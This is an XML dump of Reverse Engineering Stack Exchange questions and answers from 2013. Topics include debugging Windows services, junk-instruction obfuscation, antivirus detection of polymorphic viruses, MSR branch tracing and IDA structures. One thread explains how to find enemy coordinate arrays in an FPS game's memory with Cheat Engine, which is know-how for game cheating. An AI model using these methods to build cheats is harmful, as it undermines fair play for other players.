  <row Id="2165" PostTypeId="1" CreationDate="2013-06-01T21:12:53.730" Score="2" ViewCount="57" Body="&lt;p&gt;I am working executable, which is meant to be loaded as windows service. I have statically determine certain breakpoints that I'd like it to break upon execution. Is there any particular way to dynamically analyze this executable with OllyDBG?&#xA;What are general approaches to dynamically analyzing windows service?&lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-06-01T21:24:16.143" LastActivityDate="2013-06-01T21:24:16.143" Title="What are possible ways to dynamically analyze windows service?" Tags="|windows|dynamic-analysis|executable|ollydbg|" AnswerCount="0" CommentCount="2" ClosedDate="2013-06-02T02:04:51.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="2166" PostTypeId="2" ParentId="2159" CreationDate="2013-06-01T21:47:04.647" Score="12" Body="&lt;p&gt;The numbers in the third column do increase over time, which is a good start. Let's check the differences between numbers on consecutive lines, to see if the progression is linear:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python&#xA;import re, sys, time&#xA;lines = sys.stdin.readlines()&#xA;def parse(l): return time.mktime(map(int,l[0:6]) + [0]*3), int(l[6], 16)&#xA;stamps = [parse(re.split('[\n.: ]+',line)) for line in lines]&#xA;&#xA;print lines[0][:20]&#xA;for i in xrange(1,len(stamps)):&#xA;    (t1,x1) = stamps[i]&#xA;    (t0,x0) = stamps[i-1]&#xA;    print &quot;%s  %8d %18d %12d&quot; % (lines[i][:20], t1-t0, x1-x0, (x1-x0)/(t1-t0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2012.12.15  03:25:00&#xA;2013.01.01  00:50:00   1459500   1530417643520000   1048590368&#xA;2013.05.23  20:35:00  12339900  12935551254528000   1048270346&#xA;2013.05.23  21:45:00      4200      4377804800000   1042334476&#xA;2013.05.24  17:10:00     69900     73549217792000   1052206263&#xA;2013.05.25  01:10:00     28800     29955719168000   1040129137&#xA;2013.05.25  02:15:00      3900      4224712704000   1083259667&#xA;2013.05.25  17:15:00     54000     56486789120000   1046051650&#xA;2013.05.25  19:55:00      9600     10063183872000   1048248320&#xA;2013.05.25  20:30:00      2100      2455764992000   1169411900&#xA;2013.05.29  06:25:00    294900    309126496256000   1048241764&#xA;2013.05.29  06:35:00       600       394264576000    657107626&#xA;2013.05.29  06:40:00       300       401604608000   1338682026&#xA;2013.05.30  21:40:00    140400    146949537792000   1046649129&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The progression is indeed mostly linear, with the most extreme rates corresponding to the shortest intervals where the uncertainty is comparatively large. There's no marked jump on a day or month or year change, so the number is probably directly a number of units of time and not year-month-day-hour-minute-second packed in columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rate is close to nanoseconds, but in fact closer to 1048 million ticks per second. It's quite possible that some of the digits on the right encode something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's remarkable that all the differences are multiples of 1000. Let's print out the hexadecimal numbers in decimal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;9677354747411355314159639&#xA;9677354748941772957679639&#xA;9677354761877324212207639&#xA;9677354761881702017007639&#xA;9677354761955251234799639&#xA;9677354761985206953967639&#xA;9677354761989431666671639&#xA;9677354762045918455791639&#xA;9677354762055981639663639&#xA;9677354762058437404655639&#xA;9677354762367563900911639&#xA;9677354762367958165487639&#xA;9677354762368359770095639&#xA;9677354762515309307887639&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;639&lt;/code&gt; isn't remarkable, and I don't see any pattern in the preceding digits either. It does seem that the data was at some point built from concatenating decimal digits, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recall the intervals that were closer to 1048 million per second? Since the last 3 decimal digits are probably not part of the time, we must divide this figure by 1000. The result is remarkably close to 2^20 parts per second. So the data looks to have been assembled in decimal at some point, and in hexadecimal at some other point! Let's divide the hexadecimal numbers by 1000, but print them out in hex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for (l,s) in zip(lines, stamps): t = (s[1] - 639) / 1000; print l[:20], s[0], hex(t)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2012.12.15  03:25:00 1355538300.0 0x20c9c4695f29de6a7efL&#xA;2013.01.01  00:50:00 1356997800.0 0x20c9c469756f1e6a7efL&#xA;2013.05.23  20:35:00 1369337700.0 0x20c9c46a31abcd6a7efL&#xA;2013.05.23  21:45:00 1369341900.0 0x20c9c46a31bc1c6a7efL&#xA;2013.05.24  17:10:00 1369411800.0 0x20c9c46a32ce1a6a7efL&#xA;2013.05.25  01:10:00 1369440600.0 0x20c9c46a333db26a7efL&#xA;2013.05.25  02:15:00 1369444500.0 0x20c9c46a334d6f6a7efL&#xA;2013.05.25  17:15:00 1369498500.0 0x20c9c46a341fdd6a7efL&#xA;2013.05.25  19:55:00 1369508100.0 0x20c9c46a34455a6a7efL&#xA;2013.05.25  20:30:00 1369510200.0 0x20c9c46a344e806a7efL&#xA;2013.05.29  06:25:00 1369805100.0 0x20c9c46a38ce166a7efL&#xA;2013.05.29  06:35:00 1369805700.0 0x20c9c46a38cf8e6a7efL&#xA;2013.05.29  06:40:00 1369806000.0 0x20c9c46a38d10d6a7efL&#xA;2013.05.30  21:40:00 1369946400.0 0x20c9c46a3af47b6a7efL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those last 5 hexadecimal digits are constant. It's the next portion on the left that corresponds roughly to seconds since some epoch. Stripping off some digits on the left should yield the epoch, the difficulty is knowing how many hexadecimal digits to strip and how many decimal digits to strip. I'm unable to find a nice-looking epoch.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2013-06-01T21:47:04.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2167" PostTypeId="1" AcceptedAnswerId="2168" CreationDate="2013-06-02T03:08:42.323" Score="6" ViewCount="732" Body="&lt;p&gt;I have recently came across the following sequence of assembly instructions. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call    ds:WSAStartup&#xA;push    ecx&#xA;push    edi&#xA;mov     ecx, 69E65AC4h&#xA;mov     edi, 2776452Ah&#xA;pop     edi&#xA;pop     ecx&#xA;jmp     short loc_ABCD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help me make sense of these particular 4 instructions below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     ecx, 69E65AC4h&#xA;mov     edi, 2776452Ah&#xA;pop     edi&#xA;pop     ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why would you move direct values into registers, just to over write them with next 2 instructions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;ADDED:&lt;/b&gt;&#xA;In regards to &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/182/rolf-rolles&quot;&gt;Rolf Rolles&lt;/a&gt; and &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/1323/peter-ferrie&quot;&gt;peter ferrie&lt;/a&gt; comments bellow. First off, thank you, guys, for your input. I really appreciate it. What puzzles me the most and seems to be relatively interesting is the fact the the executable in question seems to be clean and clear of code obfuscation of any sort. How relevant is such a small amount of obfuscation for AV defeating purposes? I would assume, not too relevant. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also came across the post here on RE &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/250/what-is-the-purpose-of-mov-edi-edi&quot;&gt;&lt;b&gt;What is the purpose of 'mov edi, edi'?&lt;/b&gt;&lt;/a&gt;  . &#xA;RE user &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/123/qaz&quot;&gt;QAZ&lt;/a&gt; on the accepted answer mentioned something about support of run time hot patching. Could it be something along those lines?&lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="53" LastEditDate="2017-04-28T12:58:07.420" LastActivityDate="2017-04-28T12:58:07.420" Title="What could this sequence of assembly instructions possibly mean?" Tags="|disassembly|windows|assembly|x86|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2168" PostTypeId="2" ParentId="2167" CreationDate="2013-06-02T03:36:31.627" Score="8" Body="&lt;p&gt;Without further information, it looks like deliberate obfuscation:  instructions with no ultimate effect inserted into the code to make it harder to read.  I doubt that code was generated by a compiler.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-06-02T03:36:31.627" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2169" PostTypeId="1" AcceptedAnswerId="2189" CreationDate="2013-06-02T06:03:22.543" Score="15" ViewCount="2683" Body="&lt;p&gt;I was working on a hobby AV project using ClamAV's engine. While ClamAV is a good open source engine, it has poor support for detecting polymorphic viruses. The latest updated version failed to detect many instances of Virut and Sality. How do commercial AVs detect polymorphic viruses?&lt;/p&gt;&#xA;" OwnerUserId="2043" LastEditorUserId="2043" LastEditDate="2013-06-02T06:41:08.973" LastActivityDate="2014-02-05T11:50:39.007" Title="How do AV vendors create signatures for polymorphic viruses?" Tags="|malware|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2170" PostTypeId="2" ParentId="2169" CreationDate="2013-06-02T07:28:10.800" Score="11" Body="&lt;p&gt;There are many kinds of polymorphic viruses, but generally most common solutions actually try to work around the problem and avoid detecting unknown samples on the users' machines. It's considered hard to detect viruses in real time on a live machine with little available resources without actually exposing the user to the malicious properties of the virus. Instead AVs prefer doing most of the heavy lifting in their comfort zones: internal labs and sandboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually there a few directions to take:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Try to generate a signature that remains valid for as many samples as possible. I.e. signing bytes that aren't  polymorphic or have only few variants. You'll need a big bulk of similar variants. AVs usually have algorithms to cluster and automatically generate signatures this way.&lt;/li&gt;&#xA;&lt;li&gt;Try to remove the polymorphic layer and detect the underlying sample. UPX is a simple example since its very easy to unpack statically, so are some XOR encryption schemes.&lt;/li&gt;&#xA;&lt;li&gt;Detect samples by means of dynamic analysis such as malicious activities/APIs, process injections and the likes. This comes with a lot of false positives, a known problem for HIPS systems.&lt;/li&gt;&#xA;&lt;li&gt;Have your AV product upload unknown suspicious files to the backend, where samples are being analyzed by proprietary static and dynamic analysis machines, clustering algorithms and manual RE if needed. And then obviously signed the old way. KAV loves doing that to unknown files.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Many of these e usually combined, the 3rd method is used to detect suspicious files for the 4th. 1st and 4th usually have similar engines and flows, that start with static analysis because it's faster. Because most of the hard work is done in the AV vendor's labs these are a huge bottlenecks so speedups and prioritizing are big parts of the game&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="245" LastEditDate="2013-06-04T17:31:43.810" LastActivityDate="2013-06-04T17:31:43.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2171" PostTypeId="2" ParentId="2169" CreationDate="2013-06-02T08:06:47.967" Score="12" Body="&lt;p&gt;Short answer: AV scanners does not use signatures for polymorphic samples. They use generic detection code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer: Polymorphic malware makes the code look different for different generations. Talking about file infectors (Sality and Virut), a generation is considered when a new file is infected. If sample A infects B, C and D, then this is the 1st generation. The code in this generation will, more or less, look similar. When samples B, C and D infects new files, E, F and G, then, this will be the 2nd generation, and the code will greatly differ between the 1st and the 2nd generation (depending on the file infector's quality). The same applies to later generations: new generations will be different to previous ones (again, it depends on the quality of the file infector, but is typically true).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you decide to use a signature based on a stream of bytes or a stream of &lt;a href=&quot;http://en.wikipedia.org/wiki/Assembly_language#Opcode_mnemonics_and_extended_mnemonics&quot;&gt;mnemonics&lt;/a&gt; you will only detect one generation, not the malware itself. Except for not so good polymorphic engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AV engineers typically write detection code (not signatures) and find evidences of the malware without relaying on the polymorphic code but, rather, on the specific code that doesn't change and/or in the semantics: although the code might appear to be very different it's always doing the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The evidences used can be, for example, the following ones:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the entry point is in the last section (like in the case of Sality/Virut).&lt;/li&gt;&#xA;&lt;li&gt;Specific instructions with the same semantics but using different registers (pushing in the stack the original entry point address if the file infector uses EPO).&lt;/li&gt;&#xA;&lt;li&gt;Specific values/offsets that are equal between different generations.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another approach, not widely used because it's slow and is not enough but itself:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Perform code analysis of the 1st functions and compare the control flow graphs. You can consider it a graph based signature.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another approach widely used:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using an emulator (one of the big features ClamAV lacks) try to emulate a number of instructions of the malware and, then, find a specific buffer (stream of bytes) or a specific set of instructions. After that number of instructions, hopefully, the malware is already 'unpacked' in memory. If it was correctly emulated, of course.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, if you want to write detection code for ClamAV for Sality or Virut I recommend you to use what they call &lt;a href=&quot;http://blog.clamav.net/2011/11/bytecode-signatures-for-polymorphic.html&quot;&gt;bytecoded &quot;signatures&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="111" LastEditDate="2013-06-02T08:28:14.857" LastActivityDate="2013-06-02T08:28:14.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2172" PostTypeId="1" CreationDate="2013-06-02T13:57:45.490" Score="20" ViewCount="6105" Body="&lt;p&gt;I am looking at statically linked linux x86 stripped binary. I noticed that there are &lt;code&gt;.got&lt;/code&gt; and &lt;code&gt;.plt&lt;/code&gt; sections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder what does a statically linked binary need &lt;code&gt;got&lt;/code&gt; and &lt;code&gt;plt&lt;/code&gt; sections for ? Anyone ?&lt;/p&gt;&#xA;" OwnerUserId="2034" LastEditorUserId="53" LastEditDate="2013-10-30T10:48:17.570" LastActivityDate="2023-03-01T20:00:07.407" Title="Why are GOT and PLT still present in Linux static stripped binaries?" Tags="|linux|binary-analysis|elf|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2173" PostTypeId="1" AcceptedAnswerId="2175" CreationDate="2013-06-02T19:01:38.480" Score="9" ViewCount="2795" Body="&lt;p&gt;I was reading a &lt;a href=&quot;http://www.openrce.org/blog/view/1061/Industrial-Grade_Binary-Only_Profiling_and_Coverage&quot;&gt;old blog post on OpenRCE&lt;/a&gt; that mentions MSR tracing in the context of binary only profiling and coverage. The only Google hits for this term are a few emails on the Xen mailing list that I am not able to understand. What is MSR tracing?&lt;/p&gt;&#xA;" OwnerUserId="2142" LastActivityDate="2013-06-03T00:26:41.453" Title="What is MSR Tracing?" Tags="|dynamic-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2175" PostTypeId="2" ParentId="2173" CreationDate="2013-06-02T23:39:44.370" Score="14" Body="&lt;p&gt;MSR tracing generally refers to using the Intel Model-Specific Registers (MSRs) to obtain trace information from the CPU. Because modern (post-Pentium 4, generally) processors have hardware support for debugging, this can be faster than software-only solutions. There are a few ways this can be done:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;As described in a &lt;a href=&quot;http://pedramamini.com/blog/2006-12-13/&quot; rel=&quot;nofollow noreferrer&quot;&gt;post by Pedram Amini&lt;/a&gt;, one can speed up single-step execution by setting the &lt;code&gt;MSR_DEBUGCTLA&lt;/code&gt; MSR and enabling the &lt;code&gt;BTF (single-step on branches)&lt;/code&gt; flag. This gives better performance than pure single-stepping, which raises a debug exception on every instruction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;One can use the &quot;&lt;code&gt;Branch Trace Store (BTS)&lt;/code&gt;&quot; facility to log all branches into a buffer in memory; furthermore, the processor can be configured to raise an interrupt whenever this buffer is filled, so you can flush it to disk (or whatever you like). On some models there are also options for tracing only user-mode (CPL &gt; 0) or only kernel-mode (CPL = 0) code. Sections 17.4.5-6 and 17.4.9 of the Intel Software Developer's Manual Volume 3B are required reading if you go this route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Linux, there is some kernel support for this, though as far as I can tell none of it has made it into the stock kernel. In 2011 there was a &lt;a href=&quot;http://lwn.net/Articles/444885/&quot; rel=&quot;nofollow noreferrer&quot;&gt;proposed patch by Akihiro Nagai&lt;/a&gt; to the &lt;code&gt;perf&lt;/code&gt; tool to add a &lt;code&gt;perf branch trace&lt;/code&gt; command which would use the Intel BTS system; a &lt;a href=&quot;http://events.linuxfoundation.org/slides/2011/linuxcon-japan/lcj2011_nagai.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;presentation&lt;/a&gt; on this is also available. Also, in 2007, there was a &lt;a href=&quot;http://lwn.net/Articles/259339/&quot; rel=&quot;nofollow noreferrer&quot;&gt;patch proposed&lt;/a&gt; to &lt;code&gt;ptrace&lt;/code&gt; to expose the BTS facility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know of anything off-the-shelf that can do this in Windows.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally, If you only care about a fairly small (4-16) number of branches, you can use the &lt;code&gt;Last Branch Recording (LBR)&lt;/code&gt; feature. This has the advantage of having basically no overhead, but the fairly major downside that it will only give you the last N branches, where N varies depending on the processor (from as few as 4 to as many as 16). Details on this can be found in Section 17.4.8 of the Intel developer's manual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One interesting note is that Haswell (Intel's just-released processor architecture) &lt;a href=&quot;http://lwn.net/Articles/535152/&quot; rel=&quot;nofollow noreferrer&quot;&gt;has a version of this&lt;/a&gt; that will keep track of calls and returns, effectively giving you a small shadow call stack, which can be quite useful in some scenarios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LBR has also been used in &lt;a href=&quot;http://research.microsoft.com/pubs/153179/sim-ccs09.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;at least one&lt;/a&gt; security system to verify that a function is only being called from a trusted source, but this is getting a bit off-topic for the question.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, to sum up, MSR tracing is a way of doing tracing faster using hardware support in Intel processors. It's very appealing theoretically, but there isn't (yet) a lot of support for it in commonly available tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://download.intel.com/products/processor/manual/325384.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel Software Developer's Manual, Volume 3&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/14670586/what-is-the-overhead-of-using-intel-last-branch-record&quot;&gt;StackOverflow: What is the overhead of using Intel Last Branch Record?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pedramamini.com/blog/2006-12-13/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pedram Amini: Branch Tracing with Intel MSR Registers&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.codeproject.com/Articles/517466/Last-branch-records-and-branch-tracing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Last branch records and branch tracing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="257" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-06-03T00:26:41.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2176" PostTypeId="1" AcceptedAnswerId="2177" CreationDate="2013-06-03T06:13:11.763" Score="12" ViewCount="16341" Body="&lt;p&gt;I am reversing a game using Cheat Engine and OllyDBG, through this memory addresses within an FPS game  are read and monitored, these addresses will contain the coordinates(xyz) of enemies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Objective is to find an address or a pattern that will allow me to loop through up to 32 enemies in order to read all their coordinates, in order to do this I have been attempting to find a pattern between each of their addresses with no luck. I have been able to collect 3 different enemy addresses, this information is useful but searching through 32 addresses is a task which requires more effort than I believe is necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated I have access to the first 3 enemy addresses and if from that information it is possible to trace back to the base either through Cheat Engine or other reverse engineering software the process would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately my question is, is there a way to detect a pointer array in memory from one of its addresses, for example if if I have 3 enemy coordinates can I somehow trace the memory location back to an address that accesses all 32 enemy addresses whether it is by using cheat engine or another reversing tool.&lt;/p&gt;&#xA;" OwnerUserId="2166" LastEditorUserId="2147" LastEditDate="2016-10-30T06:12:17.640" LastActivityDate="2018-09-10T13:30:19.777" Title="How to find arrays of objects (entities, enemies) in a game I'm reversing with Cheat Engine?" Tags="|disassembly|ollydbg|debugging|debuggers|struct|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2177" PostTypeId="2" ParentId="2176" CreationDate="2013-06-03T07:48:18.553" Score="19" Body="&lt;p&gt;&lt;em&gt;(OP didn't specify if he knows how structures are laid out. Looks like he assumes they aren't complex. I'll answer a more general question to avoid locality issues by assuming the structures are somewhat complex)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Few ways to find the other structures come to mind:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Scanning memory for signatures&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Once you have a few examples of the structures, maybe the easiest way to find the other structure instances is to find matching constants in all three structures. Some values may be constant, represent properties that apply to all the enemy entities in a more high-level class inherited.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Pros:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This is easy to implement, can be done this Cheat Engine.&lt;/li&gt;&#xA;&lt;li&gt;in the general case it should survive program restarts, you won't need to find the three structures every time you run the game.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Cons:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;not so robust. stuff might change between versions, data you think is constant may actually change in some cases you haven't looked at. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Pointer searching&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There might be a pointer to each entity somewhere. you can just as easily search the memory for the addresses of the structures you found, and detect the array/structure that holds all of the entities. you could also walk trough arrays you find in the structures themselves, you might be looking at a linked list.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Pros:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;easy to implement.&lt;/li&gt;&#xA;&lt;li&gt;will be a bit more robust than the previous method.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Cons:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you will still need to somehow find the first entities.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Finding the Constructor/constructor-like function&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Either Object Oriented language like C++ or ObjC, or a procedural language like C, there must be a function that initiates the structure. usually it's easy to find - the first function called after the object is allocated, pretty distinctive assembly - mostly initialization code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we're talking about OO code, finding the virtual function table or a similar construct will let you easily find the construction functions, walk trough inheritance and find at least a portion of the manipulating functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you get the Constructors you can easily get all the allocations, and see where pointers are being kept.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Pros:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;quite robust&lt;/li&gt;&#xA;&lt;li&gt;better understanding of how entities are saved in memory.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Cons:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Static RE. usually harder to do (Get a good dis-assembler)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Reversing the structure&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This one requires a bit more reversing work, but will let you find the best ways to search for the entities. Using Cheat Engine and IDA, manually map the structure, the elements/members, the functions that manipulate the structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there're any pointers involved, follow them and reverse other structures you encounter.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Pros:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Robust&lt;/li&gt;&#xA;&lt;li&gt;The right way to do what you want. Really understand what's going on. facilitate future abilities/features.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Cons:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;more work, and harder to do. A lot of RE.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Note&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;for at-least some of the methods I mentioned finding the pointers to all entities while analyzing the program might only be the first step. You can search for references to the list itself and get a better way to automatically find the entities on each program restart. This eliminates some of the Cons.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-09-12T23:02:43.663" LastActivityDate="2016-09-12T23:02:43.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2178" PostTypeId="1" AcceptedAnswerId="2179" CreationDate="2013-06-03T08:36:41.400" Score="6" ViewCount="6448" Body="&lt;p&gt;I manage my structures in C files, the header might look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#pragma pack(0)&#xA;&#xA;typedef struct&#xA;{&#xA;    short important_value;&#xA;    char  _A[2]; // unknown&#xA;    int   interesting_value;&#xA;} STRUCT;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I loaded this into IDA via &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F9&lt;/kbd&gt;. Now I find out more about the structure, seeing that &lt;code&gt;_A&lt;/code&gt; contains &lt;code&gt;short imaginary_value&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to reload this in IDA via &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F9&lt;/kbd&gt;, nothing happens. When I delete the structure in IDA, parse the C file and re-create the structure, I see the new structure, however all instances of &lt;code&gt;STRUCT&lt;/code&gt; in the database are deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is, how do I reload the structure without removing all instances from the database.&lt;/p&gt;&#xA;" OwnerUserId="1449" LastActivityDate="2013-06-03T15:12:45.467" Title="How to let IDA reload a structure from a C file?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2179" PostTypeId="2" ParentId="2178" CreationDate="2013-06-03T08:46:22.833" Score="6" Body="&lt;p&gt;Go to the &lt;code&gt;Local Types&lt;/code&gt; (&lt;code&gt;View-&amp;gt;Open Subviews-&amp;gt;Local Types&lt;/code&gt; or &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;F1&lt;/kbd&gt;) window and then edit it from there by right clicking and clicking on &lt;code&gt;edit&lt;/code&gt; on your structure's entry on the list.&lt;/p&gt;&#xA;" OwnerUserId="2043" LastEditorUserId="2043" LastEditDate="2013-06-03T15:12:45.467" LastActivityDate="2013-06-03T15:12:45.467" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
